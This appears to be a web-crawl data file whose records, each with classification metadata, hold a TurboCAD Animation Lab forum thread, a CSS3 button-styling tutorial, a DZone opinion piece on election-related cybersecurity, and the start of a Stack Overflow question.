"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
3,152,548,095,353,407,500 | TurboCAD Forums
The Ultimate Resource for TurboCAD Knowledge
Register
All posts discussing pricing or where to buy TurboCAD will be deleted.
Whats the correct approach with Groups
Read 2404 times
* December 17, 2017, 03:59:22 PM
Reference to excavator1.tcw ( Large line = main boom, Smaller line = extension boom & Tiny line = bucket )
What I havent seen in AL is the rules for grouped objects and how to control them.
Do you add the individual objects as actors to AL & then group those objects together in tcw and then add that grouped object to AL
OR
Add the individual objects as actors to AL and then use the attachToGroup command in AL 1st?
Whats the correct technique to control those actors rotation in the key frames editor?
1. Rotate the main boom first when other objects are attached
run Key Frames Play Mode for that rotation then
2. Then rotate the extension boom 2nd ( but only after the above point is completed )
run Key Frames Play Mode for that rotation then
3. Finally rotate the bucket after 3rd ( but only after the above point is completed )
OR
Can you overlap key frames for different actors by dragging say the Extension boom frames into the Main boom frames and expect that both frames will animate correctly?
If you see errors in my approach to the animation, can you explain how you would go about this instead please!
Not sure as to why this happened ( just above the red line AL added the joined line from Frame 11 to 19 ) as these two commands where orinally separate and meant to happen at different frame intervals?
Oh, I also got a UE from AL, so Im wondering if this had any effect on the above problem?
Finally I maybe missing some important info re: AL in older animation files that I dont have or are there a downloads possible from the softdev developers site? as I just want to learn more.
see excavator1.png
see excavator1.tcw
see excavator 3D Selector Settings.PNG
Logged
Daz
TCW V21, 2015-2019 PP, Animation Lab V5.2 & Redsdk enabled, LightWorks rendering mostly.
* December 18, 2017, 01:37:19 PM
#1
To simpilfy the questions on the prev post:
Whats best group in tcw and then add as actors in AL
OR
Use the attachtogroup command in AL
Then whats the logical steps for correct animation for the excavator1.tcw example.
FWIW, Ive done many animations and most are ready to upload soon, but just occasioanally I got stuck with correct grouping and the logical steps associated with grouping or the right procedures/steps,
Logged
Daz
TCW V21, 2015-2019 PP, Animation Lab V5.2 & Redsdk enabled, LightWorks rendering mostly.
* December 19, 2017, 08:38:28 AM
#2
as for the line above your red line, I've had that happen when I was recording key frames, i.e. AL thinks something has changed with the actor from the previous key frames and stuck a black line in, but I've never had it happen once I've clicked and recorded both key frames, when one appears that I don't want, I just do is copy and paste the key frame from where the gap should start into where the gap finishes, but like I say once I've recorded the key frames they stick correctly for me.
Grouping - that's personal preference, for me - if the groups are required from the start I group then one at a time into actors/groups and don't bother with AttachToGroup, if I was constructing something like a car and animating putting the wheels on before driving away, I'd use attach to group once the wheels were in place. but its one of those things where whatever works best for a given situation - there is no right or wrong way.
SofDev used to have more animations on their site many years ago, but then they re-jigged the site and they were not put back on, they haven't been available now for quite a few years. - what do you think you are missing ?
As for the Excavator, you can move any actor at any time you wish (within reason :) ), i.e. you can have the second arm or bucket to start moving before the first arm has finished its movement - I assume that's what you mean by overlapping, I overlap things all the time.
Hope this helps
Andy
Logged
* December 21, 2017, 05:34:04 AM
#3
Andy & Tim check your email.
Logged
Daz
TCW V21, 2015-2019 PP, Animation Lab V5.2 & Redsdk enabled, LightWorks rendering mostly.
December 21, 2017, 08:26:47 AM
#4
Andy & Tim check your email.
Checked!
Regards Tim
Logged
You can design without engineering, but you cannot engineer without design.
Using Win 10 with Designer 2016/2017 and TurboCAD Pro. Plat. 2018/2019 + Lightworks (64-bit versions) + AnimationLab 5.2.
Windows 10 Pro (1909) 64-bit
| {
"url": "https://forums.turbocad.com/index.php?topic=22049.msg132164",
"source_domain": "forums.turbocad.com",
"snapshot_id": "crawl=CC-MAIN-2020-05",
"warc_metadata": {
"Content-Length": "35761",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:RO4HS6SIPC7ZB23MU3RO6NDTH6SMES2P",
"WARC-Concurrent-To": "<urn:uuid:f3e8f1b2-f681-41bf-bf71-e9ffb147a444>",
"WARC-Date": "2020-01-17T14:42:37Z",
"WARC-IP-Address": "104.26.4.242",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:SSJNSQW3IFZH4PJTWYSOR7YAZ66K3FHJ",
"WARC-Record-ID": "<urn:uuid:ceef9e64-125b-47ad-8051-280a2efe047c>",
"WARC-Target-URI": "https://forums.turbocad.com/index.php?topic=22049.msg132164",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:cc34ccb2-ca70-452c-92a6-2c078ebbdfb7>"
},
"warc_info": "isPartOf: CC-MAIN-2020-05\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-30.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
16,
17,
62,
63,
72,
74,
145,
146,
185,
201,
234,
341,
424,
556,
559,
653,
654,
742,
804,
852,
938,
986,
1073,
1074,
1077,
1078,
1247,
1248,
1359,
1360,
1562,
1652,
1653,
1845,
1846,
1865,
1884,
1924,
1925,
1932,
1936,
2025,
2026,
2027,
2060,
2063,
2107,
2108,
2161,
2164,
2200,
2201,
2284,
2285,
2486,
2488,
2489,
2496,
2500,
2589,
2590,
2591,
2624,
2627,
3124,
3125,
3565,
3566,
3790,
3791,
4065,
4066,
4082,
4083,
4089,
4090,
4097,
4098,
4099,
4132,
4135,
4164,
4165,
4172,
4176,
4265,
4266,
4267,
4298,
4301,
4330,
4331,
4344,
4345,
4357,
4358,
4365,
4441,
4563,
4592,
4593,
4594
],
"line_end_idx": [
16,
17,
62,
63,
72,
74,
145,
146,
185,
201,
234,
341,
424,
556,
559,
653,
654,
742,
804,
852,
938,
986,
1073,
1074,
1077,
1078,
1247,
1248,
1359,
1360,
1562,
1652,
1653,
1845,
1846,
1865,
1884,
1924,
1925,
1932,
1936,
2025,
2026,
2027,
2060,
2063,
2107,
2108,
2161,
2164,
2200,
2201,
2284,
2285,
2486,
2488,
2489,
2496,
2500,
2589,
2590,
2591,
2624,
2627,
3124,
3125,
3565,
3566,
3790,
3791,
4065,
4066,
4082,
4083,
4089,
4090,
4097,
4098,
4099,
4132,
4135,
4164,
4165,
4172,
4176,
4265,
4266,
4267,
4298,
4301,
4330,
4331,
4344,
4345,
4357,
4358,
4365,
4441,
4563,
4592,
4593,
4594,
4595
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 4595,
"ccnet_original_nlines": 102,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3710499405860901,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.05504586920142174,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.214067280292511,
"rps_doc_frac_unique_words": 0.4242038130760193,
"rps_doc_mean_word_length": 4.537579536437988,
"rps_doc_num_sentences": 44,
"rps_doc_symbol_to_word_ratio": 0.004077469930052757,
"rps_doc_unigram_entropy": 5.379995822906494,
"rps_doc_word_count": 785,
"rps_doc_frac_chars_dupe_10grams": 0.07243122160434723,
"rps_doc_frac_chars_dupe_5grams": 0.17125211656093597,
"rps_doc_frac_chars_dupe_6grams": 0.1510387361049652,
"rps_doc_frac_chars_dupe_7grams": 0.1341942697763443,
"rps_doc_frac_chars_dupe_8grams": 0.1341942697763443,
"rps_doc_frac_chars_dupe_9grams": 0.09432902932167053,
"rps_doc_frac_chars_top_2gram": 0.020213359966874123,
"rps_doc_frac_chars_top_3gram": 0.010106679983437061,
"rps_doc_frac_chars_top_4gram": 0.012633349746465683,
"rps_doc_books_importance": -337.5675354003906,
"rps_doc_books_importance_length_correction": -337.5675354003906,
"rps_doc_openwebtext_importance": -191.2162322998047,
"rps_doc_openwebtext_importance_length_correction": -191.2162322998047,
"rps_doc_wikipedia_importance": -153.53839111328125,
"rps_doc_wikipedia_importance_length_correction": -153.53839111328125
},
"fasttext": {
"dclm": 0.10743874311447144,
"english": 0.9447522759437561,
"fineweb_edu_approx": 1.407705545425415,
"eai_general_math": 0.7105217576026917,
"eai_open_web_math": 0.30383944511413574,
"eai_web_code": 0.29298895597457886
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.0856",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "620.0042",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-5,377,595,557,244,412,000 | Submit your widget
lovely Candy CSS3 buttons
Created 9 years ago Views 27474 downloads 6816 Author simurai
lovely Candy CSS3 buttons
View DemoDownload 12.4 KB
185
Share |
Create CSS buttons that are sexy looking, really flexible, but with the most minimalistic markup as possible.
And voila.. here they are, the BonBon Buttons. Named after the French word for "Candy". So, let's take a tour trough the candy store.
No, wait! Before you click that download button and try to use them on your site,
Markup
I get a real kick out of trying to keep the markup minimal, so I'm really happy with the outcome. A basic button looks like this:
<a href="" class="button">Label</a>
You can change the look by adding more classes:
<a href="" class="button orange glossy">Label</a>
Icons
If you would like to add an icon, you can use the HTML5 custom data attribute like this: data-icon="S". This allows you to use any of the Unicode symbols or the newly released icon fonts like Pictos or Writesocial. With the following CSS .button:before { content: attr(data-icon); } it will add the icon in front of the label. I think it's a great solution to keep your markup semantic and to hide the additional icon letter from screen readers. Plus it allows you to quickly change icons without having to touch your CSS.
<a href="" class="button orange glossy" data-icon="S">Label</a>
Accessibility
Addingrole="button" makes it more accessible. Use tabindex to keep them highlighted and if you use the <button> tag you also can use attributes like "disabled".
<a href="" role="button" tabindex="1" class="button pink">Tab1</a>
<a href="" role="button" tabindex="2" class="button pink">Tab2</a>
<button disabled class="button pink glossy">Disabled</button>
Looks
I tried to avoid any images but couldn't resist adding a PNG for the noise. The rest is a combination of text-shadows, box-shadows, gradients and borders. This makes it easy to resize the buttons and keep them sharp. It also makes it easy to change the shape. Yes, try it out.. a morphing button:
A border-radius doesn't always need to be rounded. You can bend it in a more oval shape using a second set of points separated with a "/". The above buttons use a transition to animate the border-radius for the default, :hover and :active state:
border-radius: 5em / 2em;
border-radius: .4em .4em 2em 2em / .4em .4em 3em 3em;
border-radius: .3em;
For the colors HSL values are used. It makes it much easer to apply different shades of a color if you can use %. For example the text color is a darker version of the background, so I just lower the lightness by 20%:
color: hsl(39, 100%, 30%);
background-color: hsl(39, 100%, 50%);
I tried to simulate different materials. A "mate", "glossy" and a "glass" version. The difference of the later two is that the glass version adds a dark blurry text-shadow which makes it look like you can see trough the button to its bottom. Works great in combination with the "back" shape.
The glossy shape is created using an :after element with a gradient background on top. It get's cutout with a border-radius that is slightly smaller in width and half in height from the main button. Unfortunately I couldn't figure out how to animate the :after element. So it's disabled on the morphing shape. Also, if the button gets too long, it doesn't look as good anymore. The gloss and highlight gradient doesn't grow.
There are two more datails that I would like to point out: The border uses a brighter and a darker box-shadow to imitate depth and the drop shadow changes when pressing the button.
Flexibility
Here all the optional class names if you wanna play around with -webkits Inspector or Firebug:
• Color: orange, pink, blue, green, transparent
• Font: serif
• Material: glossy, glass
• Size: xs, xl
• Shape: round, oval, brackets, skew, back, knife, shield, drop, morph
• Icon only: icon
• Disabled: disabled
There is one thing I'm kinda sad about. At the beginning when I started with the buttons, my plan was to use something like data-color="#ff0000" in the markup and it would create a red button. But I quickly realized that if you just add highlights and shadows on top of a color, it starts to look dull and less vivid. So all the colors need to be predefined in the CSS. I never tried it out, but maybe LESS/SASS would be a good solution because you can brighten/darken colors with code. But even then it's kinda hard, because not all colors need the same amount. Well, we shall see..
Flaws
And it gets worse.. If you're planing to use the BonBon buttons for production.. Well, I don't recommend it.. yet! Yes, I'm sorry, life is hard.
This is just a demo and not meant to be used on your next project that targets the average internet user. I just wanted to show a couple techniques how to use some of the new CSS3/HTML5 features. So only the current version of Safari, Chrome and Firefox are supported.
Another point. Each design element should fit with the overall design of a site. So I think it's not a good idea to just use "out of the box" buttons. It's like using one of those stock office girls on your contact page.. ;-)
But feel free to download the code, play around and maybe even use the one thing or the other, sooner or later. Thanks for reading.
Tag: buttons | {
"url": "http://www.htmldrive.net/items/show/793/lovely-Candy-CSS3-buttons",
"source_domain": "www.htmldrive.net",
"snapshot_id": "crawl=CC-MAIN-2020-45",
"warc_metadata": {
"Content-Length": "29511",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:JX66ZYMGPY6XUETXGL2LR4ZFVGZ3MNBE",
"WARC-Concurrent-To": "<urn:uuid:fd36758a-5462-45e1-a4f5-8b11b0aa6a7b>",
"WARC-Date": "2020-10-25T11:06:42Z",
"WARC-IP-Address": "184.168.202.1",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:KVS5XIDYJ3NURKTVYUKYZNPL4QTO5T5A",
"WARC-Record-ID": "<urn:uuid:0b736526-5a40-47a2-a80c-a9c86644a83f>",
"WARC-Target-URI": "http://www.htmldrive.net/items/show/793/lovely-Candy-CSS3-buttons",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:992efa3a-4b53-4d7c-89de-2b4271590315>"
},
"warc_info": "isPartOf: CC-MAIN-2020-45\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for October 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-49.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
26,
27,
53,
54,
123,
149,
175,
179,
187,
188,
298,
299,
433,
434,
516,
517,
524,
525,
655,
656,
692,
693,
741,
742,
792,
793,
799,
800,
1323,
1324,
1388,
1389,
1403,
1404,
1565,
1566,
1633,
1700,
1763,
1764,
1770,
1771,
2068,
2069,
2315,
2316,
2342,
2396,
2418,
2419,
2637,
2638,
2665,
2704,
2705,
2997,
2998,
3423,
3424,
3605,
3606,
3618,
3619,
3714,
3715,
3765,
3781,
3809,
3826,
3899,
3919,
3942,
3943,
4527,
4528,
4534,
4535,
4680,
4681,
4950,
4951,
5177,
5178,
5310,
5311
],
"line_end_idx": [
26,
27,
53,
54,
123,
149,
175,
179,
187,
188,
298,
299,
433,
434,
516,
517,
524,
525,
655,
656,
692,
693,
741,
742,
792,
793,
799,
800,
1323,
1324,
1388,
1389,
1403,
1404,
1565,
1566,
1633,
1700,
1763,
1764,
1770,
1771,
2068,
2069,
2315,
2316,
2342,
2396,
2418,
2419,
2637,
2638,
2665,
2704,
2705,
2997,
2998,
3423,
3424,
3605,
3606,
3618,
3619,
3714,
3715,
3765,
3781,
3809,
3826,
3899,
3919,
3942,
3943,
4527,
4528,
4534,
4535,
4680,
4681,
4950,
4951,
5177,
5178,
5310,
5311,
5323
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5323,
"ccnet_original_nlines": 85,
"rps_doc_curly_bracket": 0.0003757299855351448,
"rps_doc_ldnoobw_words": 1,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3622112274169922,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02887788973748684,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2227722853422165,
"rps_doc_frac_unique_words": 0.44209355115890503,
"rps_doc_mean_word_length": 4.501113414764404,
"rps_doc_num_sentences": 63,
"rps_doc_symbol_to_word_ratio": 0.0008250799728557467,
"rps_doc_unigram_entropy": 5.383772850036621,
"rps_doc_word_count": 898,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.010390900075435638,
"rps_doc_frac_chars_top_3gram": 0.0074220700189471245,
"rps_doc_frac_chars_top_4gram": 0.010885699652135372,
"rps_doc_books_importance": -609.8470458984375,
"rps_doc_books_importance_length_correction": -609.8470458984375,
"rps_doc_openwebtext_importance": -318.6362609863281,
"rps_doc_openwebtext_importance_length_correction": -318.6362609863281,
"rps_doc_wikipedia_importance": -233.76979064941406,
"rps_doc_wikipedia_importance_length_correction": -233.76979064941406
},
"fasttext": {
"dclm": 0.29180657863616943,
"english": 0.8546397686004639,
"fineweb_edu_approx": 1.4936732053756714,
"eai_general_math": 0.16974186897277832,
"eai_open_web_math": 0.19520151615142822,
"eai_web_code": 0.13746660947799683
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "-1",
"labels": {
"level_1": "",
"level_2": "",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
4,981,147,917,962,809,000 | Over a million developers have joined DZone.
{{announcement.body}}
{{announcement.title}}
What the Election Results Mean for Cybersecurity
DZone's Guide to
What the Election Results Mean for Cybersecurity
While the election results were declared and a candidate won, this article covers what the election results mean for cyber security.
· Security Zone ·
Free Resource
Secure and manage your open source software with Flexera.
After the DNC (Democratic National Committee) email hacks, and Donald Trump’s own claim that the 2016 election could be rigged, Americans have never been more doubtful about the integrity of their voting system. This was worsened when the FBI reported that Arizona and Illinois voter databases had been breached.
Other breach attempts were reported in twenty other states, suggesting that the 2016 election had been greatly penetrated by hacks. This has begged the question whether the integrity of the U.S voting system can be trusted.
While it is not clear to what extent cyber security may have influenced the outcome of the elections, these issues have led to numerous questions about the U.S cyber intelligence.
So, while the election results were declared and a candidate won, this is what the election results mean for cyber security.
There Is a Need to Understand Big Data
Understanding big data will enable you to come up with a comprehensive overview of network systems and to detect any threats. In doing so, you can create software systems that can detect abnormal network behavior and identify people who may be trying to access information illegally or who may be leaking sensitive information.
Big data analytics will ease security threat prediction. Data science technologies will make it possible for national security to detect threats easily because they can leverage predictive analytics. In fact, it is safer to say that the more data you can access the more you increase your chances of discovering something of predictive value.
With big data and advanced analytics, security can be enhanced.
Effective Tools for Application Lifecycle Management Need to Be Used
Finding a satisfactory ALM suite is considered impossible, and no single ALM toolset can be used to manage all the processes.
First, you need an integrated application management and not separate products for every phase. You also need to make sure that the existing tools are functional to tackle any technological advancements.
Security Should Be Enhanced in the User Interface
Your program’s user interface should have all the safety measures in place and should make it possible for the user to make secure choices without suffering costly mistakes.
With careful design, security and convenience should be compatible, and the user will not have to sacrifice convenience for security.
A simpler interface is mostly secure because the user has access to all the security features and is less likely to make mistakes. For example, if you decide to invest in triple net property, a simple voice biometric should grant you access to your property.
If your program handles data, the user likely expects the data to be a secret. You should attempt to protect such data.
The users also need to be made aware when they are transferring authority. For example, if a user grants authorization to an app or someone, the user should be able to revoke the authorization later.
Your design should also be able to make security choices clear, place all the files in a secure location, and secure all interfaces. These are the only ways to avoid massive company hacks.
Employ Hardware-based Security
Hackers are always targeting software security tools and network vulnerabilities, meaning securing your hardware components may be the only way to stop these crooks from altering your performance.
In today’s security environment, securing hardware components makes more sense given that most threats are delivered through network and software vulnerabilities. In fact, hardware-based security is more secure compared to software tools like antiviruses.
This also makes sense considering the expected increase in machine-to-machine (M2M) communications.
The Software Architecture Needs to Be Strengthened
You need to research the common problems and consider the key scenarios to avoid putting your application at risk. Your application needs to be designed based on your requirements and scenarios.
Poor architecture implies that your software will be unstable and is unable to support existing or future needs. It can also mean the software is difficult to install.
Software architecture should focus on how the major components and elements within an application interact and are used by other critical components and elements. For this reason, it makes sense to combine design and architecture.
Good architecture will reduce any risks associated with software. For example, the Arizona and Illinois databases would not have been compromised if the software used for the system had been built on good architecture.
User demand for better support and faster results are some of the forces that should shape architectural decisions. Also, when building your architecture, you need to consider any future trends.
Conclusion
Laxity in cyber security can be a costly affair. It can alter the election results and can cost a nation.
Security vulnerabilities put your data and your customer’s data at risk. Find out how FlexNet Code Insight integrates into your SDLC and makes monitoring open source security a breeze, so you can worry less and build more. Brought to you in partnership with Flexera.
Topics:
cyber security ,election ,security
Opinions expressed by DZone contributors are their own.
{{ parent.title || parent.header.title}}
{{ parent.tldr }}
{{ parent.urlSource.name }} | {
"url": "https://dzone.com/articles/what-the-election-results-mean-for-cybersecurity",
"source_domain": "dzone.com",
"snapshot_id": "crawl=CC-MAIN-2018-13",
"warc_metadata": {
"Content-Length": "149500",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:G3UAANKMGGCC3ZDRXQDAEA4DKJRAEC2R",
"WARC-Concurrent-To": "<urn:uuid:114ba479-27f0-4e48-9ea9-0ebb278f69e1>",
"WARC-Date": "2018-03-25T03:20:08Z",
"WARC-IP-Address": "52.72.169.15",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:GCTN6XATCWVEGRIBRIQDK456A7GZHY5M",
"WARC-Record-ID": "<urn:uuid:367d95ea-b109-494b-8bd7-dc1eebeec5c9>",
"WARC-Target-URI": "https://dzone.com/articles/what-the-election-results-mean-for-cybersecurity",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:1d290cff-dac0-465d-94d2-11f4f46f24f0>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-169-204-59.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-13\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for March 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
45,
67,
90,
91,
140,
141,
158,
159,
208,
209,
342,
343,
361,
375,
376,
434,
435,
748,
749,
973,
974,
1154,
1155,
1280,
1281,
1320,
1321,
1649,
1650,
1993,
1994,
2058,
2059,
2128,
2129,
2255,
2256,
2460,
2461,
2511,
2512,
2686,
2687,
2821,
2822,
3081,
3082,
3202,
3203,
3403,
3404,
3593,
3594,
3625,
3626,
3823,
3824,
4080,
4081,
4181,
4182,
4233,
4234,
4429,
4430,
4598,
4599,
4830,
4831,
5050,
5051,
5246,
5247,
5258,
5259,
5365,
5366,
5634,
5635,
5643,
5678,
5679,
5735,
5736,
5777,
5778,
5796,
5797
],
"line_end_idx": [
45,
67,
90,
91,
140,
141,
158,
159,
208,
209,
342,
343,
361,
375,
376,
434,
435,
748,
749,
973,
974,
1154,
1155,
1280,
1281,
1320,
1321,
1649,
1650,
1993,
1994,
2058,
2059,
2128,
2129,
2255,
2256,
2460,
2461,
2511,
2512,
2686,
2687,
2821,
2822,
3081,
3082,
3202,
3203,
3403,
3404,
3593,
3594,
3625,
3626,
3823,
3824,
4080,
4081,
4181,
4182,
4233,
4234,
4429,
4430,
4598,
4599,
4830,
4831,
5050,
5051,
5246,
5247,
5258,
5259,
5365,
5366,
5634,
5635,
5643,
5678,
5679,
5735,
5736,
5777,
5778,
5796,
5797,
5824
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5824,
"ccnet_original_nlines": 88,
"rps_doc_curly_bracket": 0.0034340699203312397,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.40077444911003113,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.010648599825799465,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.11423040181398392,
"rps_doc_frac_unique_words": 0.41333332657814026,
"rps_doc_mean_word_length": 5.2833333015441895,
"rps_doc_num_sentences": 59,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.30272912979126,
"rps_doc_word_count": 900,
"rps_doc_frac_chars_dupe_10grams": 0.023133540526032448,
"rps_doc_frac_chars_dupe_5grams": 0.05846476927399635,
"rps_doc_frac_chars_dupe_6grams": 0.05846476927399635,
"rps_doc_frac_chars_dupe_7grams": 0.05846476927399635,
"rps_doc_frac_chars_dupe_8grams": 0.040799159556627274,
"rps_doc_frac_chars_dupe_9grams": 0.023133540526032448,
"rps_doc_frac_chars_top_2gram": 0.016193479299545288,
"rps_doc_frac_chars_top_3gram": 0.026498420163989067,
"rps_doc_frac_chars_top_4gram": 0.01850683055818081,
"rps_doc_books_importance": -478.0738220214844,
"rps_doc_books_importance_length_correction": -478.0738220214844,
"rps_doc_openwebtext_importance": -250.26754760742188,
"rps_doc_openwebtext_importance_length_correction": -250.26754760742188,
"rps_doc_wikipedia_importance": -195.11236572265625,
"rps_doc_wikipedia_importance_length_correction": -195.11236572265625
},
"fasttext": {
"dclm": 0.07538806647062302,
"english": 0.9366157054901123,
"fineweb_edu_approx": 2.232111930847168,
"eai_general_math": 0.26501137018203735,
"eai_open_web_math": 0.20111709833145142,
"eai_web_code": 0.18503707647323608
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.8",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "324.973",
"labels": {
"level_1": "Social sciences",
"level_2": "Political science",
"level_3": "Elections, Suffrage, and Political parties"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "1",
"label": "News/Editorial"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "1",
"label": "Leftover HTML"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "13",
"label": "News (Org.)"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-2,458,975,489,968,558,600 | Take the 2-minute tour ×
Stack Overflow is a question and answer site for professional and enthusiast programmers. It's 100% free.
I have a 2 dimensional array of strings and I would like to find the max of every 13 elements.
